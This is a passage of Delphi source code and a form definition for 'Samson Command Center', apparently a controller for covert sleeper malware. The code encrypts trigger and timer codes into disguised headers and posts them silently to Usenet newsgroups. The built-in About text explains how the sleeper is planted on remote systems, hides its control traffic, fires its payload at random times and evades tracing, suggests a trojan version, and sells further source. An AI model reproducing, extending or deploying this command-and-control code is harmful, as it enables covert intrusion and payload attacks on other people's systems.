for l:=0 to sizeof(oldhashDigest)-1 do
data:=Data+intToHex(OldHashDigest[l],2); // confirmation
//encrypt the new password;
Text:=Newkey.Text;
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
data:=Data+intToHex(Buffer.raw[l],2); // confirmation
//encrypt the new Algorithim;
Text:=CAlgorithmCBx.Text;
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
data:=Data+intToHex(Buffer.raw[l],2); // confirmation
//encrypt the new Hash Algo;
Text:=HAlgorithmCBx.Text;
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
data:=Data+intToHex(Buffer.raw[l],2); // confirmation
// add the whole lot to the x-samson header
// first cloak the header so echelon cant find it easy
text:='samson';
Header:='X-';
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
// message.Headers.Add(header+'='+data);
message.ExtraHeaders.Add(header+nvs+data);
OldEncrypt.Reset;
// now we move to the new algorithm
Encrypt:= TDCP_blockcipher(CAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from the
combo box
Encrypt.Init(HashDigest,Sizeof(HashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
automatically (note: size in
bits ie. sizeof(x)*8)
Header:='X-';
Text:='params';
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
// do the params
Buffer.primary:=primarydelay.value;
Buffer.pVar:=primaryVariance.value;
Buffer.window:=WindowPeriod.Value;
Buffer.winVar:=WindowVariance.Value;
Buffer.polling:=PollingPeriod.Value;
Buffer.pollVar:=PollingVariance.Value;
Buffer.newsgroups:=NGProcessCount.Value;
Buffer.postings:=PostingsProcessCount.Value;
Buffer.priming:=PrimingPeriod.Value;
Buffer.primeVar:=PrimingVariance.Value;
Buffer.trigger:=TriggerPeriod.Value;
Buffer.triggerVar:=TriggerVariance.Value;
Buffer.throttle:=Throttle.Value;
Buffer.throttleVar:=ThrottleVariance.Value;
Buffer.icqPoll:=icqpollingPeriod.Value;
Buffer.icqPollVar:=icqpollingVariance.Value;
Buffer.icqWindow:=IcqWindowPeriod.Value;
Buffer.icqWindowVar:=IcqWindowVariance.Value;
encrypt.EncryptCBC(buffer,buffer,20*sizeof(integer));
data:='';
for l:=0 to (20*sizeof(integer))-1 do
Data:=Data+intToHex(raw(l),2); // confirmation
message.ExtraHeaders.Add(Header+nvs+data);
// encrypt the payload
// add the payload at the end of the cloaking message as hex strings
L:=0;
while ServerList.Count>L do
try
Application.ProcessMessages;
if Application.Terminated then Exit;
Message.NewsGroups.Clear;
Message.NewsGroups.Add(ServerList.ValueFromIndex[L]);
nntp.Post(Message);
Log.Lines.Add(ServerList.ValueFromIndex[L]);
Inc(L);
except
Log.Lines.Add('Failed: '+ServerList.ValueFromIndex[L]);
ServerList.Delete(L);
end;
end;
procedure TMainForm.CloakedClick(Sender: TObject);
var header,data,text:string; l,q:integer;
var
Source, Dest: file;
Buffer: TParams;
Hash: TDCP_sha1;
HashDigest,
OldHashDigest: array[0..31] of byte;
OldEncrypt,Encrypt: TDCP_blockcipher;
Read: integer;
nvs:string;
//this function gets round a typecast failure
function raw(i:integer):integer;
begin
result:=buffer.raw[i];
end;
begin
nvs:=message.ExtraHeaders.namevalueseparator;
message.Clear;
message.Subject:=SubjectEdit.Text;
message.Body.Assign(cloakingMessage.Lines);
message.From.DisplayName:=nameEdit.Text;
message.From.Address:=ReplyEdit.Text;
CloakSize:=length(message.Body.Text);
// crypto procedure
FillChar(Buffer,Sizeof(Buffer),$00);
FillChar(HashDigest,Sizeof(HashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire digest
FillChar(OldHashDigest,Sizeof(OldHashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire
digest
Hash:= TDCP_sha1.Create(Self);
// hash the new passphrase
Hash.Init;
Hash.UpdateStr(Newkey.Text); // hash the passphrase to get the key
Hash.Final(HashDigest);
// hash the old passphrase
Hash.Init;
Hash.UpdateStr(Oldkey.Text); // hash the passphrase to get the key
Hash.Final(OldHashDigest);
Hash.Free;
data:='';
OldEncrypt:= TDCP_blockcipher(OldCAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from
the combo box
OldEncrypt.Init(OldHashDigest,Sizeof(OldHashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
automatically
(note: size in bits ie. sizeof(x)*8)
OldEncrypt.EncryptCBC(OldHashDigest,OldHashDigest,Sizeof(HashDigest)); // encrypt the hash and write it to the file to
use as passphrase
OldEncrypt.Reset;
for l:=0 to sizeof(oldhashDigest)-1 do
data:=Data+intToHex(OldHashDigest[l],2); // confirmation
//encrypt the new password;
Text:=Newkey.Text;
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
data:=Data+intToHex(Buffer.raw[l],2); // confirmation
//encrypt the new Algorithim;
Text:=CAlgorithmCBx.Text;
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
data:=Data+intToHex(Buffer.raw[l],2); // confirmation
//encrypt the new Hash Algo;
Text:=HAlgorithmCBx.Text;
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
data:=Data+intToHex(Buffer.raw[l],2); // confirmation
// add the whole lot to the x-samson header
// first cloak the header so echelon cant find it easy
text:='samson';
Header:='X-';
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
// message.Headers.Add(header+'='+data);
message.ExtraHeaders.Add(header+nvs+data);
OldEncrypt.Reset;
// now we move to the new algorithm
Encrypt:= TDCP_blockcipher(CAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from the
combo box
Encrypt.Init(HashDigest,Sizeof(HashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
automatically (note: size in
bits ie. sizeof(x)*8)
Header:='X-';
Text:='params';
Q:=length(Text)-1;
OldEncrypt.EncryptCBC(Text,Buffer,Q);
for l:=0 to Q do
Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
// do the params
Buffer.primary:=primarydelay.value;
Buffer.pVar:=primaryVariance.value;
Buffer.window:=WindowPeriod.Value;
Buffer.winVar:=WindowVariance.Value;
Buffer.polling:=PollingPeriod.Value;
Buffer.pollVar:=PollingVariance.Value;
Buffer.newsgroups:=NGProcessCount.Value;
Buffer.postings:=PostingsProcessCount.Value;
Buffer.priming:=PrimingPeriod.Value;
Buffer.primeVar:=PrimingVariance.Value;
Buffer.trigger:=TriggerPeriod.Value;
Buffer.triggerVar:=TriggerVariance.Value;
Buffer.throttle:=Throttle.Value;
Buffer.throttleVar:=ThrottleVariance.Value;
Buffer.icqPoll:=icqpollingPeriod.Value;
Buffer.icqPollVar:=icqpollingVariance.Value;
Buffer.icqWindow:=IcqWindowPeriod.Value;
Buffer.icqWindowVar:=IcqWindowVariance.Value;
encrypt.EncryptCBC(buffer,buffer,20*sizeof(integer));
data:='';
for l:=0 to (20*sizeof(integer))-1 do
Data:=Data+intToHex(raw(l),2); // confirmation
message.ExtraHeaders.Add(Header+nvs+data);
// encrypt the payload
// add the payload at the end of the cloaking message as hex strings
for l:=0 to scce.Strings.Count-1 do
begin
try
SCCV.Strings.CommaText:= SCCE.Strings.ValueFromIndex[l];
NNTP.Host:=SCCV.Values['HOST'];
for Q:=0 to SCCV.Strings.Count-1 do
begin
try
if SCCV.Strings.Names[q]='newsgroup' then
begin
Message.NewsGroups.Clear;
Message.NewsGroups.Add(SCCV.Strings.ValueFromIndex[Q]);
nntp.Post(Message);
end;
except
// just keep it quiet
end;
end;
except
// nevermind the verbose fail silently
end;
end;
end;
procedure TMainForm.LogDblClick(Sender: TObject);
begin
Log.Clear;
end;
end.
object MainForm: TMainForm
Left = 194
Top = 96
Width = 703
Height = 444
Caption = 'Samson Command Center Version 3 for Windows NT'
Color = clBtnFace
TransparentColor = True
TransparentColorValue = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnActivate = FormActivate
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object PageControl1: TPageControl
Left = 0
Top = 24
Width = 695
Height = 374
ActivePage = TabConfig
Align = alClient
TabOrder = 0
object TabMain: TTabSheet
Caption = 'Samson List'
object ToolBar4: TToolBar
Left = 0
Top = 0
Width = 651
Height = 24
ButtonHeight = 21
ButtonWidth = 38
Caption = 'ToolBar1'
Flat = True
ShowCaptions = True
TabOrder = 0
object ToolButton13: TToolButton
Left = 0
Top = 0
Caption = 'New'
ImageIndex = 0
OnClick = ToolButton13Click
end
object ToolButton14: TToolButton
Left = 38
Top = 0
Caption = 'Delete'
OnClick = deleteSamsonClick
end
end
object SLE: TValueListEditor
Left = 0
Top = 24
Width = 185
Height = 323
Align = alLeft
DefaultColWidth = 180
Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goRowSelect,
goThumbTracking]
Strings.Strings = (
'=')
TabOrder = 1
TitleCaptions.Strings = (
'Samson Unit/Pair'
'Value')
OnSelectCell = SLESelectCell
ColWidths = (
180
-1)
end
object SLV: TValueListEditor
Left = 185
Top = 24
Width = 466
Height = 323
Align = alClient
DefaultColWidth = 115
FixedCols = 1
Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goThumbTracking]
TabOrder = 2
OnStringsChange = SLVStringsChange
ColWidths = (
115
345)
RowHeights = (
18
18)
end
end
object TabServersSCC: TTabSheet
Caption = 'Servers (SCC)'
ImageIndex = 5
object SCCE: TValueListEditor
Left = 0
Top = 24
Width = 185
Height = 323
Align = alLeft
DefaultColWidth = 180
Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goRowSelect,
goThumbTracking]
Strings.Strings = (
'=')
TabOrder = 0
TitleCaptions.Strings = (
'News Server'
'Value')
OnSelectCell = SCCESelectCell
ColWidths = (
180
-1)
end
object SCCV: TValueListEditor
Left = 185
Top = 24
Width = 466
Height = 323
Align = alClient
DefaultColWidth = 115
FixedCols = 1
Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goThumbTracking]
TabOrder = 1
OnStringsChange = SCCVStringsChange
ColWidths = (
115
345)
end
object ToolBar6: TToolBar
Left = 0
Top = 0
Width = 651
Height = 24
ButtonHeight = 21
ButtonWidth = 57
Caption = 'ToolBar1'
Flat = True
ShowCaptions = True
TabOrder = 2
object ToolButton20: TToolButton
Left = 0
Top = 0
Caption = 'New'
ImageIndex = 0
OnClick = SCCNewsServers
end
object ToolButton21: TToolButton
Left = 57
Top = 0
Caption = 'Delete'
OnClick = SCCDeleteClick
end
object ToolButton15: TToolButton
Left = 114
Top = 0
Caption = 'New NG'
ImageIndex = 0
OnClick = ToolButton15Click
end
object ToolButton16: TToolButton
Left = 171
Top = 0
Caption = 'Delete NG'
ImageIndex = 1
OnClick = ToolButton16Click
end
end
end
object TabPaload: TTabSheet
Caption = 'Payload'
ImageIndex = 3
object ToolBar3: TToolBar
Left = 0
Top = 0
Width = 687
Height = 24
ButtonHeight = 21
ButtonWidth = 45
Caption = 'ToolBar1'
Flat = True
ShowCaptions = True
TabOrder = 0
object ToolButton9: TToolButton
Left = 0
Top = 0
Caption = 'New'
ImageIndex = 0
OnClick = NewPayload
end
object ToolButton10: TToolButton
Left = 45
Top = 0
Caption = 'Delete'
OnClick = ToolButton10Click
end
object ToolButton12: TToolButton
Left = 90
Top = 0
Caption = 'Clear All'
ImageIndex = 0
OnClick = ToolButton12Click
end
end
object PayloadList: TListBox
Left = 0
Top = 24
Width = 687
Height = 322
Align = alClient
ItemHeight = 13
TabOrder = 1
end
end
object TabConfig: TTabSheet
Caption = 'Configuration'
ImageIndex = 2
object Panel1: TPanel
Left = 0
Top = 0
Width = 687
Height = 346
Align = alClient
BevelInner = bvRaised
BevelOuter = bvLowered
TabOrder = 0
object Label1: TLabel
Left = 8
Top = 6
Width = 165
Height = 16
Caption = 'Newsflash configuration'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -13
Font.Name = 'MS Sans Serif'
Font.Style = [fsBold]
ParentFont = False
end
object Label2: TLabel
Left = 222
Top = 6
Width = 119
Height = 16
Caption = 'ICQ configuration'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -13
Font.Name = 'MS Sans Serif'
Font.Style = [fsBold]
ParentFont = False
end
object PrimaryVariance: TLabelSpinEdit
Left = 135
Top = 39
Width = 93
Height = 22
Color = clWhite
MaxValue = 0
MinValue = 0
TabOrder = 5
Value = 0
OnChange = ValueChange
EditLabel.Width = 73
EditLabel.Height = 13
EditLabel.Caption = 'Variance (days)'
end
object WindowVariance: TLabelSpinEdit
Left = 135
Top = 77
Width = 93
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 6
Value = 0
OnChange = ValueChange
EditLabel.Width = 73
EditLabel.Height = 13
EditLabel.Caption = 'Variance (days)'
end
object PostingsProcessCount: TLabelSpinEdit
Left = 135
Top = 153
Width = 93
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 7
Value = 0
OnChange = ValueChange
EditLabel.Width = 92
EditLabel.Height = 13
EditLabel.Caption = 'Postings to process'
end
object PrimingVariance: TLabelSpinEdit
Left = 135
Top = 191
Width = 93
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 8
Value = 0
OnChange = ValueChange
EditLabel.Width = 77
EditLabel.Height = 13
EditLabel.Caption = 'Variance (hours)'
end
object TriggerVariance: TLabelSpinEdit
Left = 135
Top = 229
Width = 93
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 9
Value = 0
OnChange = ValueChange
EditLabel.Width = 73
EditLabel.Height = 13
EditLabel.Caption = 'Variance (days)'
end
object PrimaryDelay: TLabelSpinEdit
Left = 16
Top = 39
Width = 116
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 0
Value = 0
OnChange = ValueChange
EditLabel.Width = 95
EditLabel.Height = 13
EditLabel.Caption = 'Primary Delay (days)'
end
object WindowPeriod: TLabelSpinEdit
Left = 16
Top = 77
Width = 116
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 1
Value = 0
OnChange = ValueChange
EditLabel.Width = 72
EditLabel.Height = 13
EditLabel.Caption = 'Window Period'
end
object NGProcessCount: TLabelSpinEdit
Left = 16
Top = 153
Width = 116
Height = 22
Hint = 'leave at -1 to process all found on the server'
MaxValue = 0
MinValue = -1
TabOrder = 2
Value = -1
OnChange = ValueChange
EditLabel.Width = 111
EditLabel.Height = 13
EditLabel.Caption = 'Newsgroups to process'
end
object PrimingPeriod: TLabelSpinEdit
Left = 16
Top = 191
Width = 116
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 3
Value = 0
OnChange = ValueChange
EditLabel.Width = 102
EditLabel.Height = 13
EditLabel.Caption = 'Priming Period (hours)'
end
object TriggerPeriod: TLabelSpinEdit
Left = 16
Top = 229
Width = 116
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 4
Value = 0
OnChange = ValueChange
EditLabel.Width = 97
EditLabel.Height = 13
EditLabel.Caption = 'Trigger Period (days)'
end
object Throttle: TLabelSpinEdit
Left = 16
Top = 267
Width = 116
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 10
Value = 0
OnChange = ValueChange
EditLabel.Width = 110
EditLabel.Height = 13
EditLabel.Caption = 'Throttle (bytes/second)'
end
object ThrottleVariance: TLabelSpinEdit
Left = 135
Top = 267
Width = 93
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 11
Value = 0
OnChange = ValueChange
EditLabel.Width = 42
EditLabel.Height = 13
EditLabel.Caption = 'Variance'
end
object PollingPeriod: TLabelSpinEdit
Left = 16
Top = 115
Width = 116
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 12
Value = 0
OnChange = ValueChange
EditLabel.Width = 64
EditLabel.Height = 13
EditLabel.Caption = 'Polling Period'
end
object PollingVariance: TLabelSpinEdit
Left = 135
Top = 115
Width = 93
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 13
Value = 0
OnChange = ValueChange
EditLabel.Width = 73
EditLabel.Height = 13
EditLabel.Caption = 'Variance (days)'
end
object IcqWindowVariance: TLabelSpinEdit
Left = 353
Top = 77
Width = 93
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 14
Value = 0
OnChange = ValueChange
EditLabel.Width = 77
EditLabel.Height = 13
EditLabel.Caption = 'Variance (hours)'
end
object IcqWindowPeriod: TLabelSpinEdit
Left = 234
Top = 77
Width = 116
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 15
Value = 0
OnChange = ValueChange
EditLabel.Width = 72
EditLabel.Height = 13
EditLabel.Caption = 'Window Period'
end
object IcqPollingPeriod: TLabelSpinEdit
Left = 234
Top = 39
Width = 116
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 16
Value = 0
OnChange = ValueChange
EditLabel.Width = 64
EditLabel.Height = 13
EditLabel.Caption = 'Polling Period'
end
object IcqPollingVariance: TLabelSpinEdit
Left = 353
Top = 39
Width = 93
Height = 22
MaxValue = 0
MinValue = 0
TabOrder = 17
Value = 0
OnChange = ValueChange
EditLabel.Width = 77
EditLabel.Height = 13
EditLabel.Caption = 'Variance (hours)'
end
object NewsHost: TLabeledEdit
Left = 458
Top = 40
Width = 209
Height = 21
EditLabel.Width = 49
EditLabel.Height = 13
EditLabel.Caption = 'NewsHost'
TabOrder = 18
Text = '127.0.0.1'
OnChange = NewsHostChange
end
object StaticText1: TStaticText
Left = 446
Top = 5
Width = 129
Height = 20
Caption = 'SCC Configuration'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -13
Font.Name = 'MS Sans Serif'
Font.Style = [fsBold]
ParentFont = False
TabOrder = 19
end
object PortID: TLabelSpinEdit
Left = 458
Top = 116
Width = 121
Height = 22
MaxValue = 65535
MinValue = 0
TabOrder = 20
Value = 119
OnChange = PortIDChange
EditLabel.Width = 19
EditLabel.Height = 13
EditLabel.Caption = 'Port'
end
object LabeledEdit2: TLabeledEdit
Left = 234
Top = 115
Width = 217
Height = 21
EditLabel.Width = 40
EditLabel.Height = 13
EditLabel.Caption = 'ICQ UID'
TabOrder = 21
end
object LabeledEdit3: TLabeledEdit
Left = 234
Top = 154
Width = 217
Height = 21
EditLabel.Width = 67
EditLabel.Height = 13
EditLabel.Caption = 'ICQ Password'
TabOrder = 22
end
object XReader: TLabeledEdit
Left = 458
Top = 78
Width = 209
Height = 21
EditLabel.Width = 45
EditLabel.Height = 13
EditLabel.Caption = 'X-Reader'
TabOrder = 23
Text = 'Newsflash'
OnChange = XReaderChange
end
object UserName: TLabeledEdit
Left = 458
Top = 155
Width = 217
Height = 21
EditLabel.Width = 53
EditLabel.Height = 13
EditLabel.Caption = 'User Name'
TabOrder = 24
end
object PasswordEdit: TLabeledEdit
Left = 458
Top = 194
Width = 217
Height = 21
EditLabel.Width = 46
EditLabel.Height = 13
EditLabel.Caption = 'Password'
TabOrder = 25
end
end
end
object TabCrypto: TTabSheet
Caption = 'Cypher'
ImageIndex = 6
object LCKey: TLabel
Left = 4
Top = 28
Width = 37
Height = 13
Caption = 'Old Key'
end
object LHashKey: TLabel
Left = 4
Top = 124
Width = 70
Height = 13
Caption = 'Converted Key'
end
object LCipher: TLabel
Left = 4
Top = 3
Width = 115
Height = 16
Caption = 'Cipher Algorithm'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -13
Font.Name = 'MS Sans Serif'
Font.Style = [fsBold]
ParentFont = False
end
object Bevel2: TBevel
Left = 122
Top = 9
Width = 416
Height = 7
Shape = bsTopLine
end
object Label3: TLabel
Left = 4
Top = 76
Width = 71
Height = 13
Caption = 'Encryption Key'
end
object Label4: TLabel
Left = 4
Top = 100
Width = 47
Height = 13
Caption = 'Verify Key'
end
object CAlgorithmLbl: TLabel
Left = 16
Top = 160
Width = 76
Height = 13
Caption = 'Crypto Algorithm'
end
object HAlgorithmLbl: TLabel
Left = 256
Top = 160
Width = 71
Height = 13
Caption = 'Hash Algorithm'
end
object Label5: TLabel
Left = 256
Top = 208
Width = 90
Height = 13
Caption = 'Old Hash Algorithm'
end
object Label6: TLabel
Left = 16
Top = 208
Width = 95
Height = 13
Caption = 'Old Crypto Algorithm'
end
object Label7: TLabel
Left = 4
Top = 52
Width = 37
Height = 13
Caption = 'Old Key'
end
object EHashKey: TEdit
Left = 83
Top = 120
Width = 457
Height = 21
Color = clBtnHighlight
ReadOnly = True
TabOrder = 0
end
object Oldkey: TEdit
Left = 83
Top = 23
Width = 457
Height = 21
Color = clWhite
TabOrder = 1
Text = 'this is the crypt key for the encoding of the data'
OnChange = OldkeyVerifyChange
end
object Progress: TProgressBar
Left = 84
Top = 143
Width = 458
Height = 8
Step = 1
TabOrder = 2
end
object Newkey: TEdit
Left = 83
Top = 71
Width = 457
Height = 21
Color = clWhite
TabOrder = 3
Text = 'this is the crypt key for the encoding of the data'
OnChange = VerifykeyChange
end
object Verifykey: TEdit
Left = 83
Top = 95
Width = 457
Height = 21
TabOrder = 4
Text = 'this is the crypt key for the encoding of the data'
OnChange = VerifykeyChange
end
object CAlgorithmCBx: TComboBox
Left = 16
Top = 176
Width = 225
Height = 21
Style = csDropDownList
ItemHeight = 13
Sorted = True
TabOrder = 5
end
object HAlgorithmCBx: TComboBox
Left = 256
Top = 176
Width = 225
Height = 21
Style = csDropDownList
ItemHeight = 13
TabOrder = 6
end
object OldCAlgorithmCBx: TComboBox
Left = 16
Top = 224
Width = 225
Height = 21
Style = csDropDownList
ItemHeight = 13
Sorted = True
TabOrder = 7
end
object OldHAlgorithmCBx: TComboBox
Left = 256
Top = 224
Width = 225
Height = 21
Style = csDropDownList
ItemHeight = 13
TabOrder = 8
end
object OldkeyVerify: TEdit
Left = 83
Top = 47
Width = 457
Height = 21
TabOrder = 9
Text = 'this is the crypt key for the encoding of the data'
OnChange = OldkeyVerifyChange
end
end
object TabCloaking: TTabSheet
Caption = 'Cloaking Message'
ImageIndex = 7
object CloakingMessage: TMemo
Left = 0
Top = 82
Width = 687
Height = 264
Align = alClient
TabOrder = 0
end
object GroupBox1: TGroupBox
Left = 0
Top = 41
Width = 687
Height = 41
Align = alTop
Caption = 'From'
TabOrder = 1
object NameEdit: TEdit
Left = 8
Top = 14
Width = 231
Height = 21
TabOrder = 0
end
object ReplyEdit: TEdit
Left = 241
Top = 14
Width = 294
Height = 21
TabOrder = 1
end
end
object GroupBox2: TGroupBox
Left = 0
Top = 0
Width = 687
Height = 41
Align = alTop
Caption = 'Subject'
TabOrder = 2
object subjectedit: TEdit
Left = 8
Top = 14
Width = 529
Height = 21
TabOrder = 0
end
end
end
object TabAbout: TTabSheet
Caption = 'About'
ImageIndex = 4
object AboutMemo: TMemo
Left = 0
Top = 0
Width = 687
Height = 346
Align = alClient
Lines.Strings = (
'source code available at http://'
''
'Released into the public domain'
'Terms and conditions'
'1:use at your own risk'
'2:no warranty of any kind, NONE, NADA, ZERO,get the picture!'
'3:Ya want more features, compile it yourself, there is no suppor' +
't group'
'4:if you improve it, release it,I would like a copy!'
'5:do not use for illegal purposes, take a tip, it may not be ill' +
'egal in another country, Travel!'
'6:please do use to expose corrupt cops, judges, government offic' +
'ials, etc.'
' useful inventions, enough information to allow your creation t' +
'o be built (Details)'
' '
'there is also SAMSON by the same author'
'SAMSON is designed as a fully cloaked sleeper service'
'SAMSON sleeper is placed on remote systems along with it'#39's paylo' +
'ad'
'SAMSON control resides on a desktop or website'
'control codes are issued by the controller periodically, these a' +
're picked up through public'
'communication media, newsgroups, icq or others as per specific i' +
'mplementation & configuration'
'if valid codes are received SAMSON can respond by updating the p' +
'ayload, going active '
'or resetting its sleep counters'
'SAMSON does not issue verification codes ever!'
'once SAMSON is deployed on a system, rip up and destroy all trac' +
'e information, do not use your home '
'system to deploy'
'then even the deployer cannot trace it'
'but if someone interfers with the deployer it dont get reset and' +
' the timers expire'
'SAMSON primes with a list of newsgroups'
'SAMSON gets a list of postings and extracts sender names & subje' +
'cts'
'these names and subjects are cross-mixed and used for multiple p' +
'ostings to each newsgroup'
'this method ensures that these postings appear to be legimate in' +
'-context postings'
'the payload is of course whats in the body and whats important'
'the author has written a number of implementations of SAMSON sle' +
'eper for various target systems'
'it is described here as some bright spark will write their own i' +
'mplementation and'
'the anti-virus writers will have a new toy to chase, the compute' +
'r press will have a new subject to write '
'about'
'the nice thing about using embedded control codes in newsgroup p' +
'ostings is that all usenet clients '
'when browsing a newsgroup download the subject & header informat' +
'ion, thats where the control codes '
'are'
'echelon, that big brother system then has a job deciding was it ' +
'a legitimate user or SAMSON that read the '
'headers'
'just for good measure all timers within SAMSON use random offset' +
' so if you reset for 180 days it will vary '
'by + or - a few '
'days'
'this applies to all timed functions within SAMSON'
'deployment can be singular or paired'
'pairing ensures the payload cannot be read on system A if it is ' +
'found as the crypto code is on system B so '
'they must '
'match the pair'
'joined triggering is another nice feature, trigger system A & it' +
' will issue trigger codes for all others in the '
'group'
'when triggered, the system goes into war-count, this can be set ' +
'between 1 & 255 days maximum, '
'SAMSON however '
'picks a random period within the range'
'so you never know when its going to go off.'
'Pairing is different, when a pairing code is encountered, its tw' +
'in goes active immediately'
'the crypto is embedded in the header of the posting along with t' +
'he group trigger codes'
'each installation has a trigger code which is unique & another w' +
'hich can be set by the deployer'
'of course if the author'#39's SAMSON net ever goes active, you will ' +
'receive the full source as part of the '
'payload (active '
'version only)'
'Author'#39's most recent versions target usenet, icq, mail & more be' +
'ing added to each new version'
'The recent versions also have tamper detection, if the payload i' +
's interfered with, the backup payload is '
'locked, loaded '
'& deployed, OUCH!'
'Want to be really creative? do a trojan version'
'Want source code for this module?'
'Just takes money, my paypal account is'
'Email me at'
'Cost 50 euros for SCC control software & information on how to c' +
'reate Samson newsflash servers')
ReadOnly = True
TabOrder = 0
end
end
object LogTab: TTabSheet
Caption = 'Log'
ImageIndex = 7
object Log: TMemo
Left = 0
Top = 0
Width = 687
Height = 346
Align = alClient
TabOrder = 0
OnDblClick = LogDblClick
end
end
end
object ToolBar5: TToolBar
Left = 0
Top = 0
Width = 695
Height = 24
ButtonHeight = 21
ButtonWidth = 61
Caption = 'ToolBar1'
Flat = True
ShowCaptions = True
TabOrder = 1
object ConnectBtn: TToolButton
Left = 0
Top = 0
Caption = 'Connect'
ImageIndex = 0
OnClick = ConnectBtnClick
end
object GroupsButton: TToolButton
Left = 61
Top = 0
Caption = 'Get Groups'
ImageIndex = 3
OnClick = GroupsButtonClick
end
object ToolButton4: TToolButton
Left = 122
Top = 0
Width = 8
Caption = 'ToolButton4'
ImageIndex = 4
Style = tbsSeparator
end
object SaveButton: TToolButton
Left = 130
Top = 0
Caption = 'Save'
ImageIndex = 3
OnClick = SaveButtonClick
end
object LoadButton: TToolButton
Left = 191
Top = 0
Caption = 'Load'
ImageIndex = 3
OnClick = LoadButtonClick
end
object ToolButton3: TToolButton
Left = 252
Top = 0
Width = 8
Caption = 'ToolButton3'
ImageIndex = 5
Style = tbsSeparator
end
object UploadBtn: TToolButton
Left = 260
Top = 0
Caption = 'Upload'
ImageIndex = 1
OnClick = UploadBtnClick
end
object Cloaked: TToolButton
Left = 321
Top = 0
Caption = 'Cloaked'
ImageIndex = 3
OnClick = CloakedClick
end
object Flashed: TToolButton
Left = 382
Top = 0
Caption = 'Flashed'
ImageIndex = 4
OnClick = FlashedClick
end
object ToolButton8: TToolButton
Left = 443
Top = 0
Width = 8
Caption = 'ToolButton8'
ImageIndex = 3
Style = tbsSeparator
end
object ExitButton: TToolButton
Left = 451
Top = 0
Caption = 'Exit'
ImageIndex = 2
OnClick = ExitButtonClick
end
end
object StatusBar: TStatusBar
Left = 0
Top = 398
Width = 695
Height = 19
Panels = <
item
Width = 150
end
item
Width = 150
end
item
Width = 150
end>
SimpleText = 'Compile'
end
object IdAntiFreeze1: TIdAntiFreeze
Left = 228
Top = 368
end
object nntp: TIdNNTP
MaxLineAction = maException
ReadTimeout = 0
OnDisconnected = nntpDisconnected
OnConnected = nntpConnected
NewsAgent = 'Newsflash'
Password = 'login'
Username = 'peter'
OnNewsgroupList = nntpNewGroupsList
OnNewGroupsList = nntpNewGroupsList
Left = 196
Top = 368
end
object icq: TICQClient
ProxyPort = 0
UIN = 0
ICQServer = 'login.icq.com'
ICQPort = 5190
PortRangeFirst = 3000
PortRangeLast = 50000
ConvertToPlaintext = False
ConnectionTimeout = 0
Left = 260
Top = 368
end
object message: TIdMessage
AttachmentEncoding = 'MIME'
BccList = <>
CCList = <>
Encoding = meMIME
Recipients = <>
ReplyTo = <>
Left = 164
Top = 368
end
object OpenDialog: TOpenDialog
DefaultExt = 'scc'
Filter = 'Samson control file (*.scc)|*.scc|All files (*.*)|*.*'
Options = [ofEnableSizing]
Left = 372
Top = 368
end
object SaveDialog: TSaveDialog
DefaultExt = 'scc'
FileName = 'default.scc'
Filter =
'News Server List (*.nsl)|*.nsl|All files (*.*)|*.*|Samson Server' +
' List (*.ssl)|*.ssl|Samson control file (*.scc)|*.scc'
FilterIndex = 3
Options = [ofEnableSizing]
Left = 340
Top = 368
end
object StoreReg: TJvAppRegistryStorage
